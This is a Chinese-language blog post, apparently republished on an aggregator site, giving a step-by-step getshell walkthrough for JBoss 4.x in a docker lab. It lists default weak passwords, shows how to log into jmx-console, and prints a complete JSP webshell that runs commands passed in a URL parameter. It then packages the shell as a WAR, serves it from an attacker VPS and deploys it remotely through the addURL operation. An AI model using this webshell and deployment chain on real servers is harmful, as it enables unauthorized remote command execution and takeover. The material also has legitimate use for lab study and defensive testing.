JBoss 4.x 弱口令未授权访问 + 部署war包getshell

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBoss 4.x 弱口令未授权访问 + 部署war包getshell相关的知识,希望对你有一定的参考价值。

Jboss常见弱口令:

admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password

jboss 4.x 及其之前的版本 console 管理路径为 /jmx-console/web-console

打开漏洞环境:

进入漏洞命令行界面:

docker exec -it [镜像id] /bin/bash

登陆信息存放位置:

cat /opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties\\
#格式为:账号=密码

账号密码为admin;admin

jmx-console的配置文件为

cat /opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#jboss的绝对路径不同网站不一样

web-console的配置文件为

cat /opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml

访问 Jboss管理后台

http://192.168.8.9:8080/jmx-console/

输入admin,admin登陆

弱口令进入后台。

进入后台后,点击 Jboss.deployment 进入应用部署页面:

http://192.168.8.9:8080/jmx-console/htmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

制作war包

构造jsp马,shell.jsp:

<%
    if("123".equals(request.getParameter("pwd")))
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
            out.println(new String(b));
        
        out.print("</pre>");
    
%>

密码为:123,命令执行参数为:i

压缩为zip文件,修改后缀为war

或者

jar cvf shell.war shell.jsp

部署war包

shell.war放在我们的VPS上

python -m SimpleHTTPServer 8888

找到 void addURL()

注意这里ParamType是java.lang.String,然后在ParamValue填入我们远程的war包,点击invoke

http://192.168.8.10:8888/shell.war

返回successfully

查看部署是否成功

返回到刚进入jmx-console的页面,找到 jboss.web.deployment.

http://192.168.8.9:8080/jmx-console/

如果没显示,多刷新几次页面或者稍等一下,直到看到有部署的war包即可

部署成功!

访问木马

http://192.168.8.9:8080/shell/shell.jsp?pwd=123&i=id


仅供学习!
ok!

以上是关于JBoss 4.x 弱口令未授权访问 + 部署war包getshell的主要内容,如果未能解决你的问题,请参考以下文章

Jenkins弱口令扫描器

WEB中间件--Jboss未授权访问,

JBOSS未授权漏洞详细复现

jboss 未授权访问漏洞复现

jboss未授权访问Getshell

一次漏洞挖掘的简单组合拳